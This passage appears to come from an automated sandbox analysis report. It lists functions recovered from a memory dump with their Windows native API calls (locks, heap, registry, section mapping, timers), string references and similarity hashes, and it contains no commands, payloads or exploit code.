RtlEnterCriticalSection.1105(6B567B60,?,00000000,01000000,?,6B4A0408,?,00000000,00000024), ref: 6B4A0576
RtlLeaveCriticalSection.1105(6B567B60,6B568544,?,00000001,?,?,?,?,?,6B567B60,?,00000000,01000000), ref: 6B4A059F
RtlRbInsertNodeEx.1105(6B568544,?,00000001,?,?,?,?,?,6B567B60,?,00000000,01000000), ref: 6B4A05F6

Strings

@{Vk, xrefs: 6B4A05FE

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterInsertLeaveNode
String ID: @{Vk
API String ID: 1141981990-3564454546
Opcode ID: 44a59f7dc050dd0df3d0bdf05491d354f8796b4ec618c2d1d6357abec798b120
Instruction ID: 3764256a48d7618d9e7c20a8ebc3b1e5ed6986de81cca313a499865082562143
Opcode Fuzzy Hash: 44a59f7dc050dd0df3d0bdf05491d354f8796b4ec618c2d1d6357abec798b120
Instruction Fuzzy Hash: 8F513731E44215ABD711CB6C8C00F5BBBB4AFA6B58F1401A9ED50EB358F3BCD90187A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B474439, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

Flst, xrefs: 6B474476
0, xrefs: 6B4744A3

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 6b22e3ecc967760111de793eaf4e4350f77da5237ed93b72e1322d2cc24e1a8d
Instruction ID: 0600922e34b6161e7c41ffa675fd03a12fc97042207b620e394b148f2ca78a93
Opcode Fuzzy Hash: 6b22e3ecc967760111de793eaf4e4350f77da5237ed93b72e1322d2cc24e1a8d
Instruction Fuzzy Hash: AC4176B1E00658CFDB24CFA9C5A0BADFBF5EF84754F24806EE0499B240D7399942CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6B47BAA0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000,0000EEEE,?), ref: 6B47BAE6
ZwOpenKey.1105(?,?,?,?,?,00020019,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000,0000EEEE,?), ref: 6B47BB24

Part of subcall function 6B4B9600: LdrInitializeThunk.NTDLL(6B4B1119,?,?,00000018,?), ref: 6B4B960A

Strings

@, xrefs: 6B47BB14
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6B47BADC

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitInitializeOpenStringThunkUnicode
String ID: @$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 3332659491-3339074665
Opcode ID: 4ca4bbeb6d7f790aa2f4c09cf9f2fdc76cf3261b13785dcbfafdf583ec8bca4b
Instruction ID: c41764ea0a94ad6bf1485b69cc3d07ce420c0fc7266ffd4db3da0443b1aba13f
Opcode Fuzzy Hash: 4ca4bbeb6d7f790aa2f4c09cf9f2fdc76cf3261b13785dcbfafdf583ec8bca4b
Instruction Fuzzy Hash: 1531BD71508311ABC724DF28C1A0EABB7E5EF85754F00886EF8949B344E738DD09CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AD294, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93memorynativefileCOMMON

Download Yara Rule

APIs

ZwQueryAttributesFile.1105(?,?,?,?), ref: 6B4AD313
RtlFreeHeap.1105(?,00000000,?,?,?,?,?), ref: 6B4AD330
ZwClose.1105(00000000,?,?,?,?), ref: 6B4EB001
RtlFreeHeap.1105(?,00000000,?,00000000,?,?,?,?), ref: 6B4EB011

Strings

@, xrefs: 6B4AD303

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AttributesCloseFileQuery
String ID: @
API String ID: 2866988855-2766056989
Opcode ID: fa82507cad6eedf1b97787bc3d3217eea690aec0b49e83d44a5473ffb1573048
Instruction ID: 1e38dade8edaf8a7f238c71f2d8a5d395d237dbfec058b84c4fce2b2a323de08
Opcode Fuzzy Hash: fa82507cad6eedf1b97787bc3d3217eea690aec0b49e83d44a5473ffb1573048
Instruction Fuzzy Hash: 1B3170B15883059FC311DF28C981E5BBBE8EB95754F00096EF99483250D739DD05CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4FEA20, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6B5670A0,-00000054,?,00000000,-00000054,?,6B4D5D18), ref: 6B4FEA52
DbgPrint.1105(AVRF: AVrfDllUnloadNotification called for a provider (%p) ,-00000054,6B5670A0,-00000054,?,00000000,-00000054,?,6B4D5D18), ref: 6B4FEA69
RtlLeaveCriticalSection.1105(6B5670A0,6B5670A0,-00000054,?,00000000,-00000054,?,6B4D5D18), ref: 6B4FEAB0

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 6B4FEA64

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeavePrint
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 1203512206-702105204
Opcode ID: 12961b0bedb0cea9ed7d2ec71ef9aec96effddaebab5d79babc46481cb1ba66a
Instruction ID: fa256f0377d61582de4268550755f6497647f22a3dfd6ed95b2dc5067769a787
Opcode Fuzzy Hash: 12961b0bedb0cea9ed7d2ec71ef9aec96effddaebab5d79babc46481cb1ba66a
Instruction Fuzzy Hash: CA110231A65608EBDB109F68CCC1FAA77ADFFC5665F10015DE80103661EB39AC03CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B49E090, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

RtlWow64EnableFsRedirectionEx.1105(6B567B60,6B567B60,6B49DFDF,?,00000000,6B567B60,6B54FE18,00000028), ref: 6B49E0A6
RtlEnterCriticalSection.1105(6B567B60,6B49DFDF,?,00000000,6B567B60,6B54FE18,00000028), ref: 6B49E0B7
RtlLeaveCriticalSection.1105(6B567B60,6B567B60,6B49DFDF,?,00000000,6B567B60,6B54FE18,00000028), ref: 6B49E0DC
ZwSetEvent.1105(00000000,6B567B60,6B567B60,6B49DFDF,?,00000000,6B567B60,6B54FE18,00000028), ref: 6B49E0EF

Strings

`{Vk, xrefs: 6B49E0B1

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnableEnterEventLeaveRedirectionWow64
String ID: `{Vk
API String ID: 355146318-1950870956
Opcode ID: 362268f32b893b4c0e62ad3e48a7f6c645c5e561a33a54825cec24ef46ad643f
Instruction ID: 8b09bb1f492ab336ab820cd1713d9466e9fb17d0b15995b936af5e4213f31ec1
Opcode Fuzzy Hash: 362268f32b893b4c0e62ad3e48a7f6c645c5e561a33a54825cec24ef46ad643f
Instruction Fuzzy Hash: 57016270CA5168AEFF11EB789885FDE7FB5FB06358F0140A9D50062271E33D8989C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 6B49B944, Relevance: 7.7, APIs: 5, Instructions: 166nativetimeCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(00000000,?,00002710,00000000,?,?,?), ref: 6B49B9A5
RtlGetCurrentServiceSessionId.1105(00000000,?,00002710,00000000,?,?,?), ref: 6B49BA9C
ZwSetTimer2.1105(00000000,?,00000000,?,00000000,?,00002710,00000000,?,?,?), ref: 6B49BAC6
RtlGetCurrentServiceSessionId.1105(?,?,?), ref: 6B49BAE9
ZwCancelTimer2.1105(00000000,00000000,?,?,?), ref: 6B49BB03

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSessionTimer2$CancelUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1220516486-0
Opcode ID: c0d33b5eeb725577b968477e785826c80690f6ca63374b663c88612aad76925b
Instruction ID: a5639c2834cfbcf159063318965656b880952e8f90974bfba391b4fa03bc917c
Opcode Fuzzy Hash: c0d33b5eeb725577b968477e785826c80690f6ca63374b663c88612aad76925b
Instruction Fuzzy Hash: F3514470A08341CFC724DF29D480E1ABBF5BB89704F1589AEE99587354EB39E845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B4C8BE8, Relevance: 7.7, APIs: 1, Strings: 3, Instructions: 657COMMON

Download Yara Rule

Strings

(null), xrefs: 6B4C8FFF, 6B4C904C
', xrefs: 6B4C9129
(null), xrefs: 6B4C914A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: '$(null)$(null)
API String ID: 3558298466-1087929977
Opcode ID: b8580ca551168e27e070e75d2dc06d8e616dc093c2fb02051beac7f3d7e90ab7
Instruction ID: c8e4c5b9e87cd5f2d7f399ef32bc07de4c1c3d01c678cd229fa2f78fdae9536a
Opcode Fuzzy Hash: b8580ca551168e27e070e75d2dc06d8e616dc093c2fb02051beac7f3d7e90ab7
Instruction Fuzzy Hash: F332FDF5D04218AADB258F14CD84FAAB7B4EB45B18F0041EDD618A7392D7398EC1CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 6B49DBE9, Relevance: 7.6, APIs: 5, Instructions: 149COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6B49DD0B
RtlAcquireSRWLockExclusive.1105(00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6B49DD2D
RtlReleaseSRWLockExclusive.1105(00000000,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6B49DD46

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseServiceSession
String ID:
API String ID: 3179239776-0
Opcode ID: d8b7673c0d39b819d5ccd6846b414821afcbdb4baecbfad326bbdb0f63b21f1f
Instruction ID: 4b7a382c1ecf0498ea13f3a01e5354dd484fb345fa5184d13782a5e5af2fca89
Opcode Fuzzy Hash: d8b7673c0d39b819d5ccd6846b414821afcbdb4baecbfad326bbdb0f63b21f1f
Instruction Fuzzy Hash: 4A51DE71E44205CFCB14DFA8D480F9EBBF1BF49710F20829AD564A7300EB38A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B479100, Relevance: 7.6, APIs: 5, Instructions: 141nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6B54F6E8,0000002C,6B4CE530,00000000,?,6B5501C0,00000010,6B54810C,00000000,00000000,00000000,00000000,6B5686C4,6B5686C4,00000008), ref: 6B479158
ZwShutdownWorkerFactory.1105(?,?), ref: 6B479182
RtlGetCurrentServiceSessionId.1105 ref: 6B4791C0

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCurrentExclusiveFactoryLockServiceSessionShutdownWorker
String ID:
API String ID: 1345183298-0
Opcode ID: 59248d06c5ce2225bd7df58a40a8e296c0172817ff685d79fa51dc5664a0e3d0
Instruction ID: be9c7683b0303e3d065828de4c9b8121e695218662cd4b1b19103975a1c0f046
Opcode Fuzzy Hash: 59248d06c5ce2225bd7df58a40a8e296c0172817ff685d79fa51dc5664a0e3d0
Instruction Fuzzy Hash: F65103B0E14641AFE721EF28C488FEDBBB1BB56718F1481AAC45467352D33E9851C792

Uniqueness

Uniqueness Score: -1.00%

Function 6B5019C8, Relevance: 7.6, APIs: 5, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

ZwCreateSection.1105(?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B501A54
ZwMapViewOfSection.1105(?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004,08000000), ref: 6B501A74
memset.1105(?,00000000,000000F0,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?), ref: 6B501A88
ZwUnmapViewOfSection.1105(000000FF,?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B501AB8
ZwClose.1105(?,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6B501AC8

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$View$CloseCreateUnmapmemset
String ID:
API String ID: 788617167-0
Opcode ID: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction ID: ca85748ba2f2df7384d8fc3934319a061d65c73ddb2ad23f01531f15711ec632
Opcode Fuzzy Hash: 77c0bd51e630a667eaba0cead26d1e37344295029b98cca860612fa6308b154e
Instruction Fuzzy Hash: 55313EB5E00219BBEB10CF9AC841EDEFBF9EF95714F1441AAE910B7250DB754A00DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B473880, Relevance: 7.6, APIs: 5, Instructions: 97memorynativeCOMMON

Download Yara Rule

APIs

TpSetWaitEx.1105(000000FF,?,00000000,00000000), ref: 6B4738B7

Part of subcall function 6B49ECE0: RtlAcquireSRWLockExclusive.1105(?,00000000,00000000), ref: 6B49ED2C
Part of subcall function 6B49ECE0: RtlReleaseSRWLockExclusive.1105(?,00000000,00000000,?,00000000,00000000), ref: 6B49ED90

RtlAllocateHeap.1105(?,00000000,00001030,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6B4738D1
ZwGetCompleteWnfStateSubscription.1105(00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000,00000000), ref: 6B4738F0
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,?,00000000,00000000,00001030,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6B473914

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateCompleteFreeReleaseStateSubscriptionWait
String ID:
API String ID: 2233382-0
Opcode ID: 8b01fdadf820c83c01bac54e923994592093201e0ecc296128d870d35a50bc39
Instruction ID: eaa18e501fb8d252f94b4e5d978c9dcaf409f6dcf28206a06a5f9f3f69f6d1a0
Opcode Fuzzy Hash: 8b01fdadf820c83c01bac54e923994592093201e0ecc296128d870d35a50bc39
Instruction Fuzzy Hash: 0B318D72D41219AFDB30EFA98840FDEBBF8EB05750F0144AAE854E7250D7389E06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B474A20, Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6B474A2A
RtlFreeHeap.1105(?,00000000,?), ref: 6B474AB3

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentFreeHeapServiceSession
String ID:
API String ID: 1159841122-0
Opcode ID: 6f794df7182643df29639e99623b8b92af0ddf3495fdc33791cce8dc66812d82
Instruction ID: f378d39338bac90a1ff6756e5904ad8f62ee3255f6a2aca1bce46cc69246ba32
Opcode Fuzzy Hash: 6f794df7182643df29639e99623b8b92af0ddf3495fdc33791cce8dc66812d82
Instruction Fuzzy Hash: F221F6316486019FC731AB2AC820FA677B5AB727A4F104679D051477F0E73DA842CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6B4828AE, Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,?,6B5684D8,6B480924,6B5684D8,?,6B5684D8,?,00000000,?,?,?,6B48087C,?,?,?), ref: 6B4828B3
RtlEnterCriticalSection.1105(6B565350), ref: 6B4828DA
RtlGetCurrentServiceSessionId.1105(6B565350), ref: 6B4828E1
RtlGetCurrentServiceSessionId.1105 ref: 6B4D76AF

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: 7f9251f2f548f02f501824eea377e36ec1babd9586be27e7b501900511bf48af
Instruction ID: e44c6f0bc30b6fea4db25a4d466e7f9a59acbb37a207fd4ecdff17da40ccab0b
Opcode Fuzzy Hash: 7f9251f2f548f02f501824eea377e36ec1babd9586be27e7b501900511bf48af
Instruction Fuzzy Hash: EA21C63164E681ABEB12977CDC54F143B94AF42B78F2507E5E9309B7E2EF6CD8418250

Uniqueness

Uniqueness Score: -1.00%

Function 6B47F150, Relevance: 7.6, APIs: 5, Instructions: 59nativeCOMMON

Download Yara Rule

APIs

RtlFormatCurrentUserKeyPath.1105(?,02000000,?,00000000), ref: 6B47F15F

Part of subcall function 6B48A3E0: ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6B48A404
Part of subcall function 6B48A3E0: RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6B48A414
Part of subcall function 6B48A3E0: RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B48A443
Part of subcall function 6B48A3E0: RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B48A469

RtlFreeUnicodeString.1105(?,?,?,?,?,02000000,?,00000000), ref: 6B47F19D

Part of subcall function 6B492400: RtlDeleteBoundaryDescriptor.1105(?,00000000,?,6B508405,?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?), ref: 6B492412

ZwOpenKey.1105(?,?,?,?,02000000,?,00000000), ref: 6B47F192

Part of subcall function 6B4B9600: LdrInitializeThunk.NTDLL(6B4B1119,?,?,00000018,?), ref: 6B4B960A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendBoundaryConvertCurrentDeleteDescriptorFormatFreeInformationInitializeLengthOpenPathQueryThunkTokenUser
String ID:
API String ID: 1101908438-0
Opcode ID: 3b1c9aeb6681713a297a316e5df6e18283ab3f0212859d05199a1f2351106e82
Instruction ID: 6adcc1a9f5d0b5438e2d5fd5ef6951b122a043ad96bdc1245dfd79c818243654
Opcode Fuzzy Hash: 3b1c9aeb6681713a297a316e5df6e18283ab3f0212859d05199a1f2351106e82
Instruction Fuzzy Hash: 3411C972C0121DABDF119FA6C885DEFFFB9EB48354F00416AE914A7200D7399A55CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A12BD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,?,-00000001,?,?,?,6B4A127D,?,00000000,?,6B4CFC21,00000000,00000000), ref: 6B4A1331
memcpy.1105(00000000,?,?,?,00000000,?,?,-00000001,?,?,?,6B4A127D,?,00000000,?,6B4CFC21), ref: 6B4A1350

Strings

`fVk, xrefs: 6B4A135E

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapmemcpy
String ID: `fVk
API String ID: 1925790395-1622793615
Opcode ID: d4da5c8d001fe24445c22d4a267e8dd3f597564e86c344cb29a052b19028e61a
Instruction ID: 4e2963c296e049e0af516cd685b4203af1cedd4a4cb2dfc234563a91041f5a1f
Opcode Fuzzy Hash: d4da5c8d001fe24445c22d4a267e8dd3f597564e86c344cb29a052b19028e61a
Instruction Fuzzy Hash: 9D2158716456109FE720DF28C881FAAB7E9FB46750F00886DE5AEC7751DA38A841CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4AD4B0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,00000000,?,?,?,00000234,00000000,00000000,00000000,?,6B4AC8DC,0000000C,?), ref: 6B4EB08F
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx,RtlpInitializeAssemblyStorageMap,00000000,?,?,00000234,00000000,00000000,00000000,?,6B4AC8DC,0000000C,?), ref: 6B4EB0C0

Strings

RtlpInitializeAssemblyStorageMap, xrefs: 6B4EB0B2
SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 6B4EB0B7

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrint
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 3766636288-2653619699
Opcode ID: 7dc0a8d899e9d009ebf4631e019c1ee2ebaebf515f7484f6efb87b577aeaea0c
Instruction ID: e4a2cfd6ec9bbcc7a14c6fb2ce86734a8647a48cee2cfe39eb754f483c936171
Opcode Fuzzy Hash: 7dc0a8d899e9d009ebf4631e019c1ee2ebaebf515f7484f6efb87b577aeaea0c
Instruction Fuzzy Hash: 0A11E372B40314BBF7148A589D81F5A76AD9B94F55F108069BE14DB388EA79ED0183A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B47A63B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,?,-00000001,?,6B4A12AD,?,00000000,?,6B4CFC21,00000000,00000000), ref: 6B4D4314

Strings

@fVk, xrefs: 6B4D4352

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID: @fVk
API String ID: 1279760036-3230364337
Opcode ID: 32d55fbb34bd9fc86a8611eff7a03a85462b1300a08b179bd722ed3771be8917
Instruction ID: 14324d990a82db38ac6345508f1c630ec4a3fe58cf36c2bb35f106bf9cda1183
Opcode Fuzzy Hash: 32d55fbb34bd9fc86a8611eff7a03a85462b1300a08b179bd722ed3771be8917
Instruction Fuzzy Hash: AB11CE3B5A01409ADB259F2CEA41FB133A5FB56B99B520025E654DB372F738C842C361

Uniqueness

Uniqueness Score: -1.00%

Function 6B50176C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55nativeCOMMON

Download Yara Rule

APIs

ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6B5017B5
ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6B5017E1
ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6B5017EB

Strings

\KernelObjects\SystemErrorPortReady, xrefs: 6B50178B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
